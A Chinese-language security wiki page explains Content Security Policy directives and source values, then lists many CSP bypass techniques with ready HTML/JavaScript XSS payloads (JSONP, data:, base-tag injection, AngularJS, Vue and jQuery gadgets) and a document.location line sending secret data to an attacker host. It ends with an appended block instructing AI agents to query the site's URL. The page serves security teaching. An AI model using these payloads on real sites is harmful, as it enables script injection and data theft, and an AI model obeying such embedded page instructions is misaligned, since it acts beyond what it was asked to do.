# 内容安全策略

## 内容安全策略（CSP）概述

内容安全策略是一种机制，用于定义网页可以获取或执行哪些资源。它列出了浏览器可以安全加载资源的路径和来源。资源可能包括图像、框架、JavaScript等。

内容安全策略通过响应头实现：

```http
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```

或HTML页面的 `meta` 元素：

```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```

浏览器遵循接收到的策略，并在检测到违规时主动阻止。

### 它是如何工作的？

CSP通过限制主动和被动内容可以加载的来源来工作。它还可以限制主动内容的某些方面，例如内联JavaScript的执行和 `eval()` 的使用。

#### 指令

资源加载策略使用指令设置：

* **script-src** 指定JavaScript的允许来源。这不仅包括直接加载到 `<script>` 元素中的URL，还包括内联脚本事件处理程序（如 `onclick`）和可能触发脚本执行的XSLT样式表等。
* **default-src** 定义默认情况下获取资源的策略。当CSP头中缺少获取指令时，浏览器默认遵循此指令。不遵循 `default-src` 的指令列表：
  * `base-uri`
  * `form-action`
  * `frame-ancestors`
  * `plugin-types`
  * `report-uri`
  * `sandbox`
* **child-src** 定义使用 `<frame>` 和 `<iframe>` 等元素加载的[Web workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API)和嵌套浏览上下文的有效来源。
* **connect-src** 限制使用 `<a>`、`fetch`、`websocket`、`XMLHttpRequest` 等接口加载的URL。
* **frame-src** 指定使用 `<frame>` 和 `<iframe>` 等元素加载的嵌套浏览上下文的有效来源。
* **frame-ancestors** 指定可以嵌入当前页面的来源。此指令适用于 `<frame>`、`<iframe>`、`object>`、`<embed>` 和 `<applet>` 标签。此指令不能在 `<meta>` 标签中使用，并且仅适用于非HTML资源。
* **img-src** 定义网页上加载图像的允许来源。
* **manifest-src** 定义应用程序[manifest](https://developer.mozilla.org/en-US/docs/Web/Manifest)文件的允许来源。
* **media-src** 定义可以从中加载媒体对象（如 `<audio>`、`<video>` 和 `<track>`）的允许来源。
* **object-src** 定义 `<object>`、`<embed>` 和 `<applet>` 元素的允许来源。
* **base-uri** 定义可以使用 `<base>` 元素加载的允许URL。
* **form-action** 列出 `<form>` 标签提交的有效端点。`form-action` 是否应该在表单提交后阻止重定向是有争议的，浏览器在这方面的实现不一致（例如Firefox 57不阻止重定向，而Chrome 63阻止）。
* **plugin-types** 通过限制可以加载的资源类型来限制可以嵌入到文档中的插件集。如果满足以下条件，`<embed>`、`<object>` 或 `<applet>` 元素的实例化将失败：
  * 要加载的元素未声明有效的MIME类型
  * 声明的类型与plugin-types指令中指定的任何类型不匹配
  * 获取的资源与声明的类型不匹配
* **upgrade-insecure-requests** 指示浏览器重写URL方案，将HTTP更改为HTTPS。对于需要重写大量旧URL的网站，此指令很有用。
* **sandbox** 为请求的资源启用沙盒，类似于 `<iframe>` 沙盒属性。它对页面的操作施加限制，包括阻止弹出窗口、阻止插件和脚本的执行，以及强制执行同源策略。

请参阅 [mdn web docs: Content-Security-Policy - Directives](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives) 获取完整的指令列表。

#### 来源值

来源用于定义指令的值：

* **\*** 允许任何URL，除了 `data:`、`blob:` 和 `filesystem:`。
* **\<host-source>** 通过名称或IP地址的Internet主机。URL方案、端口号和路径是可选的。通配符 `*` 可用于子域、主机地址和端口号，表示每个的所有合法值都有效。
* **\<scheme-source>** 方案如 `http:` 或 `https:`（冒号是必需的）。也可以指定数据方案：
  * `data:` 允许使用 `data:` URL作为内容来源。
  * `mediastream:` 允许使用 `mediastream:` URI作为内容来源。
  * `blob:` 允许使用 `blob:` URI作为内容来源。
  * `filesystem:` 允许使用 `filesystem:` URI作为内容来源。
* **self** 指向提供受保护文档的来源，包括相同的URL方案和端口号。
* **unsafe-eval** 允许使用 `eval()` 和其他不安全的方法从字符串创建代码。
* **unsafe-hashes** 允许启用特定的内联事件处理程序。
* **unsafe-inline** 允许使用内联资源，如内联 `<script>` 元素、`javascript:` URL、内联事件处理程序和内联 `<style>` 元素。
* **none** 指空集；即，没有URL匹配。
* **nonce-\<base64-value>** 使用加密nonce（仅使用一次的数字）为特定内联脚本创建允许列表。服务器每次传输策略时都必须生成唯一的nonce值。
* **\<hash-algorithm>-\<base64-value>** 脚本或样式的 `sha256`、`sha384` 或 `sha512` 哈希。该值由用于创建哈希的算法组成，后跟连字符和脚本或样式的base64编码哈希。

请参阅 [mdn web docs: Content-Security-Policy - CSP source values](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/Sources) 获取完整的指令源列表。

### 示例

考虑以下内容安全策略：

```http
Content-Security-Policy: default-src 'self'; script-src https://website.com;
```

以下图像将被**允许**，因为图像是从同一域加载的，即 `website.com`：

```html
<img src="assets/images/logo.png">
```

以下脚本将被**允许**，因为脚本是从同一域加载的，即 `website.com`：

```html
<script src="assets/scripts/main.js"></script>
```

以下脚本将**不被允许**，因为脚本试图从未定义的域加载，即 `attacker-website.com`：

```html
<script src=https://attacker-website.com/hook.js></script>
```

以下payload将在页面上**不被允许**，因为默认情况下阻止内联脚本：

```html
"/><script>alert(1337)</script>
```

以下图像将**不被允许**，因为图像从未定义的域加载，即 `attacker-website.com`：

```html
<img src="https://attacker-website.com/image.svg">
```

由于指令未在CSP中定义，`img-src` 默认设置为 `self` 并遵循 `default-src`。

## 绕过技术

您可以使用以下在线工具检查内容安全策略：

* <https://csp-evaluator.withgoogle.com/>
* <https://cspvalidator.org/>

### 允许的CDN

如果 `script-src` 或 `object-src` 允许公共CDN通过其域名，则可以从该CDN访问任何数据，包括易受攻击的库或框架。

{% hint style="info" %}
`unsafe-eval` 或 `unsafe-inline` 源的存在显著简化了易受攻击库或框架的利用，因为它允许直接调用易受攻击的组件。否则，需要找到调用易受攻击组件的方法。
{% endhint %}

例如，在下面的代码段中，CSP允许 `https://cdnjs.cloudflare.com` 并在 `script-src` 中设置 `unsafe-eval`。它允许使用 `AngularJS` 执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>
```

### 允许托管用户内容的域

如果 `script-src` 或 `object-src` 允许每个人都可以托管任意内容的域，则可能注入任意内容。

例如，在下面的代码段中，CSP在 `scripts-src` 中允许 `https://storage.googleapis.com`。这使得可以将payload上传到GCP Cloud Storage并实现任意JavaScript执行。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://storage.googleapis.com;">
</head>
<body>
    <script src=https://storage.googleapis.com/path/to/malicious/script.js></script>
</body>
```

### data: 方案

如果 `default-src`、`script-src`、`frame-src` 或 `object-src` 允许 `data:` 方案，则可以通过注入标签执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src data:;">
</head>
<body>
    <script src=data:text/javascript,alert(1)></script>
    <iframe src='data:text/html,<script defer="true" src="data:text/javascript,alert(1)"></script>'></iframe>
    <iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
    <!-- 仅Firefox -->
    <object data="javascript:alert(1)">
</body>
```

### JSONP

JSONP API与 `callback=` 参数一起工作，该参数指定处理与其一起发送的数据的函数。如果JSONP中没有函数名称验证，则可以注入自定义回调函数并执行任意JavaScript代码。

JSONP API可用于绕过内容安全策略。例如，以下CSP允许从 `https://accounts.google.com` 加载脚本。由于 `https://accounts.google.com` 托管JSONP端点，它们可用于执行任意代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://accounts.google.com;">
</head>
<body>
    <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
</body>
```

利用不需要 `unsafe-inline`，因为JSONP响应处理程序脚本必须在CSP中允许以服务合法请求。

参考资料：

* [JSONBee](https://github.com/zigoo0/JSONBee) 包含不同网站上准备使用的JSONP端点。

#### 在script-src中允许microsoft.com by [@OctagonNetworks](https://twitter.com/octagonnetworks/status/1652793272161509377)

如果CSP在 `script-src` 中允许 `microsoft.com`，由于在WordPress中发现的CSP绕过，可能绕过CSP。

```html
<head>
    <meta http-equiv=Content-Security-Policy content="script-src https://www.microsoft.com;">
</head>
<body>
    <script src=https://www.microsoft.com/en-us/research/wp-json?_jsonp=alert></script>
</body>
```

参考资料：

* [通过滥用同源方法执行绕过WordPress的CSP](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

### 缺失或错误配置的base-uri

如果在内容安全策略中省略 `base-uri` 或设置为 `*`，则可以通过注入 `base` 元素将相对URL重定向到攻击者控制的网站，请查看 [HTML Injection: base](/web-ying-yong-an-quan/html-zhu-ru/base.md)。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-secret';">
</head>
<body>
    <base href='https://attacker-website.com'>
    <script nonce=secret src=/script.js></script>
</body>
```

上面的代码段甚至不知道就使用了 `nonce` 属性值。

参考资料：

* [Write up: CSP bypass by base tag injection](https://ctftime.org/writeup/11452)

### 缺失的default-src、frame-src或object-src

如果内容安全策略不包含 `default-src`、`frame-src` 或 `object-src`，则可以将其他错误配置与标签注入结合使用以实现任意代码执行。

例如，可以使用 `iframe` 绕过 `script-src` 的限制，例如 `script-src 'none'`、`script-src 'self'`、`script-src 'nonce-*'` 或 `script-src 'hash-*'`。

```html
<!-- 由于不同来源，无法访问父窗口 -->
<iframe src="https://attacker-website.com/payload.html"></iframe>
<!-- 由于同源，可以访问父窗口 -->
<!-- 需要控制同一域中的文件 -->
<iframe src="/uploads/payload.html"></iframe>
```

更多利用其他CSP错误配置实现任意代码执行的示例：

```html
<!-- 要求object-src中的data:方案 -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<!-- 要求script-src中的data:方案 -->
<iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
<!-- 要求script-src中的unsafe-inline -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>
```

### Nonce重用

如果 `nonce` 是静态的或由弱生成器生成，或者其值可以被猜测，则可以通过使用静态 `nonce` 或猜测正确的 `nonce` 值来绕过策略。

参考资料：

* [Write up: Bug Bounty Stories #1: electron应用中的CSP绕过！](https://securitygoat.medium.com/bug-bounty-stories-1-tale-of-csp-bypass-in-an-electron-app-f669f6ecefc9)

### 使用开放重定向绕过允许的路径

内容安全策略允许您在所需域中指定路径，例如 `https://website.com/foo/bar/` 或 `https://website.com/foo/bar/lib.js`。但是，如果允许列表中的域有开放重定向，则该开放重定向可用于成功加载允许资源中的资源，即使路径与策略中允许的路径不匹配。

例如，以下策略允许两个资源 `https://website.com` 和 `https://partially-trusted-website.com/foo/bar.js`。如果 `https://website.com` 有开放重定向，则可以从 `https://partially-trusted-website.com` 的其他路径加载脚本。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://website.com https://partially-trusted-website.com/foo/bar.js;">
</head>
<body>
    <script src="https://website.com?redirect=https://partially-trusted-website.com/path/to/malicious/script.js"></script>
</body>
```

### Script gadgets

内容安全策略中的脚本限制可以通过与允许来源的脚本交互来绕过。脚本可能无法与用户可控制的数据安全地工作，例如通过DOM clobbering。结果，它可能导致任意代码执行。

{% hint style="info" %}
Script gadgets可用于绕过CSP，即使使用基于nonce的策略，因为小工具通常被允许执行JavaScript。
{% endhint %}

例如，以下代码段根据标记中的参数调用全局范围内的函数：

```javascript
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));
```

因此，此代码段可用于使用以下 `input` 元素调用具有任意参数的 `window.*` 函数：

```html
<input id="cmd" value="alert,1">
```

另一个例子是下面的代码段，将 `RecaptchaClientUrl-` 元素的值传递给 `script` 元素的 `src` 属性：

```javascript
var t = document.querySelector("[id^='RecaptchaClientUrl-']").value
      , i = document.querySelector("[id^='RecaptchaClientSecret-']").value
      , n = document.createElement("script");
    n.id = "RecaptchaScript";
    n.src = t + i;
```

所以，可以使用以下payload执行任意JavaScript代码：

```html
<input id="RecaptchaClientUrl-" value="//attacker-website.com/path/to/script.js" />
```

请查看下面的文章以了解有关查找小工具的更多信息。

参考资料：

* [PortSwigger: 使用动态分析寻找基于nonce的CSP绕过](https://portswigger.net/research/hunting-nonce-based-csp-bypasses-with-dynamic-analysis)
* [PortSwigger: 通过DOM clobbering绕过CSP](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
* [PortSwigger: 通过DOM Clobbering劫持服务工作者](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

### 上传自定义文件

#### 控制可执行文件和script-src 'self'

如果有一种方法可以控制具有任意扩展名的文件到同一域中的某个路径，则可能滥用设置 `script-src 'self'` 的CSP并执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- script.js将被加载和执行 -->
    <script src='/uploads/script.js'></script>
</body>
```

#### 控制可执行文件和script-src 'nonce'或'hash'

如果有一种方法可以控制具有任意扩展名的文件到同一域中的某个路径，则可能使用 `iframe` 元素绕过基于 `nonce` 和 `hash` 的 `script-src`（需要错误配置的 `frame-src`）。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret';">
    <!--
    或者
    <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=';">
    -->
</head>
<body>
    <iframe src="/uploads/script.html"></iframe>
</body>
```

其中 `/uploads/script.html` 包含payload：

```html
<script>alert(1)</script>
```

#### 控制文本文件和script-src 'self'

应用程序很可能限制上传具有潜在危险扩展名的文件，例如 `html` 或 `js`。

如果 `X-Content-Type-Options: nosniff` 不活动，则可以使用文本文件作为 `script` 元素的来源。在这种情况下，浏览器使用MIME类型嗅探来找出文件的实际内容类型。

例如，对于下面的策略，可以使用任何具有MIME类型 `text/plain`、`text/css`、`javasript/css` 等的文本文件来加载脚本。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- file.css将作为JavaScript加载和执行 -->
    <script src='file.css'></script>
</body>
```

然而，即使 `X-Content-Type-Options: nosniff` 处于活动状态，也有可用于传递payload的内容类型，请查看：

* [PortSwigger Cross-site scripting (XSS) cheat sheet: Content types](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#content-types)

### unsafe-eval

如果 `script-src` 或 `default-src` 允许 `unsafe-eval`，则可能执行任意JavaScript。有多种方法实现代码执行：

1. 有一个 `eval` 表达式接收用户控制的数据。
2. 网站使用易受攻击的框架，如jQuery或Angular.js，可用于执行任何内联脚本。
3. 如果内容安全策略允许从公共CDN加载库和框架，则可以使用易受攻击的库和框架执行任意代码。

例如，以下CSP允许 `https://cdnjs.cloudflare.com` 并在 `script-src` 中设置 `unsafe-eval`。payload使用 `Angular JS` 执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>
```

### unsafe-inline

如果 `default-src`、`script-src`、`frame-src` 或 `object-src` 允许 `unsafe-inline`，则可以通过注入标签或使用事件处理程序执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline';">
</head>
<body>
    <script>alert(1)</script>
    <img src onerror="alert(1)">
    <iframe src="javascript: alert(1)"></iframe>
</body>
```

### 策略注入

内容安全策略可以基于用户提供的变量动态生成。如果这些变量未正确验证，则可能注入指令并削弱策略。

参考资料：

* [Write up: CSP Injection - CTFZone 2019 Quals - Shop Task](https://blog.blackfan.ru/2019/12/ctfzone-2019-shop.html)
* [PortSwigger: 通过策略注入绕过CSP](https://portswigger.net/research/bypassing-csp-with-policy-injection)
* [Write up: How to Hack Apple ID](https://zemnmez.medium.com/how-to-hack-apple-id-f3cc9b483a41)

### 通配符 \*

在 `script-src`、`object-src` 或 `default-src` 中使用 `*` 允许从无限范围的来源加载内容。

例如，以下CSP允许直接从任意资源加载恶意脚本。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src *;">
</head>
<body>
    <script src=https://attacker-website.com/script.js></script>
</body>
```

## 框架和库

### AngularJS

如果页面使用AngularJS，或者CSP允许从远程资源加载，则可以使用AngularJS绕过CSP。

以下示例使用AngularJS事件访问 `window` 对象并逃逸沙盒。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdnjs.cloudflare.com;">
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.js"></script>
</head>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
</body>
```

在下一个示例中，`prototype.js` 用于访问 `window` 对象。换句话说，payload使用 `prototype.js` 从 `AngularJS` 访问 `window` 对象。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://ajax.googleapis.com;">
    <script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script>
    <script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>
</head>
<body class="ng-app" ng-csp>
    {{$on.curry.call().alert(1)}}
</body>
```

更多AngularJS payload可以在以下找到（部分payload需要用户交互或设置 `unsafe-eval`）：

* [PortSwigger Cross-site scripting (XSS) cheat sheet: AngularJS CSP bypasses](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-csp-bypasses)
* [H5SC Minichallenge 3: "Sh\*t, it's CSP!"](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3%3A-%22Sh%2At%2C-it%27s-CSP%21%22)
* [PortSwigger Cross-site scripting (XSS) cheat sheet: AngularJS sandbox escapes reflected](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected)
* [PortSwigger Cross-site scripting (XSS) cheat sheet: DOM based AngularJS sandbox escapes](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#dom-based-angularjs-sandbox-escapes)

以下文章解释了带有 `prototype.js` 的payload，并展示了如何找到类似的库来逃逸沙盒：

* [Huli's blog: Who pollutes your prototype? Find the libs on cdnjs in an automated way](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)

### Vue.js

如果设置了 `unsafe-eval`（这是运行时模板编译所必需的），则可以使用Vie.js绕过CSP。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdn.jsdelivr.net 'nonce-sometoken' 'unsafe-eval';">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        {{_c.constructor`alert(1)`()}} 
    </div>
    <script nonce="sometoken">
        new Vue({
          el: '#app',
          data: {
            message: 'Hello Vue.js!'
          }
        })
    </script>
</body>
```

更多Vue.js payload可以在以下找到：

* [PortSwigger Cross-site scripting (XSS) cheat sheet: VueJS reflected](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

### jQuery

不同版本的jQuery有可用于绕过CSP的漏洞。

#### 通过jQuery 2.x中的$.get绕过nonce和strict-dynamic

如果在 `$.get` 或 `$.post` 中有方法控制URL，则可以绕过设置 `nonce` 和 `strict-dynamic` 的CSP。

```html
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'strict-dynamic'"> 
  <script nonce='secret' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
</head> 
<body>
    <script nonce=secret> 
        $(function() { 
            $.get('data:text/javascript,"use strict"%0d%0aalert(1)');
        });
    </script>
</body>
```

这在jQuery 3.0.0中已修补，请查看 <https://github.com/jquery/jquery/issues/2432>

#### 通过jQuery模板绕过nonce

jQuery模板可用于绕过设置 `nonce` 和 `unsafe-eval`（这是运行时模板编译所必需的）的CSP。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce=secret src="https://code.jquery.com/jquery-3.1.1.js"></script>
    <script nonce=secret src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.js"></script>
    <script nonce=secret type="text/javascript">
        jQuery(function(){
            $("#x").tmpl([{}])
        });
    </script>
</head>
<body>
    <div id="x">${alert.bind(window)(1)}</div>
</body>
```

#### 通过劫持handlebar模板绕过nonce

Handlebar模板可用于绕过设置 `nonce` 和 `unsafe-eval`（这是运行时模板编译所必需的）的CSP。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/1.3.0/handlebars.js"></script>
</head>
<body>
    <script id="csp-template" type="text/x-handlebars-template">
        <script>alert("I am injected via XSS")<{{!}}/script>
    </script>
    <script id="csp-template" type="text/x-handlebars-template">
        <h1>I am legit</h1>
    </script>
    <div id="csp-placeholder"></div>
    <script nonce="secret">
        var cspSource = $("#csp-template").html();
        var cspTemplate = Handlebars.compile(cspSource);
        $("#csp-placeholder").html(cspTemplate());
    </script>
  </body>
</html>
```

## 数据泄露

### 覆盖document.location

覆盖 `document.location` 可用于将数据发送到外部服务器，即使CSP限制了可以加载的URL。

```javascript
document.location = `https://attacker-website.com/callback?q=${secretData}`;
```

### 使用link HTML元素

## 参考资料

* [ZN2018: CSP by Ivan Chalykin](https://example.com/zn2018-csp-bypass.pdf)
* [csplite.com: Bypass of CSP](https://csplite.com/csp320)
* [W3C: Content Security Policy Level 3](https://www.w3.org/TR/CSP3)
* [Collection of CSP bypasses by Sebastian Lekies (@slekies)](http://sebastian-lekies.de/csp/bypasses.php)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/content-security-policy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
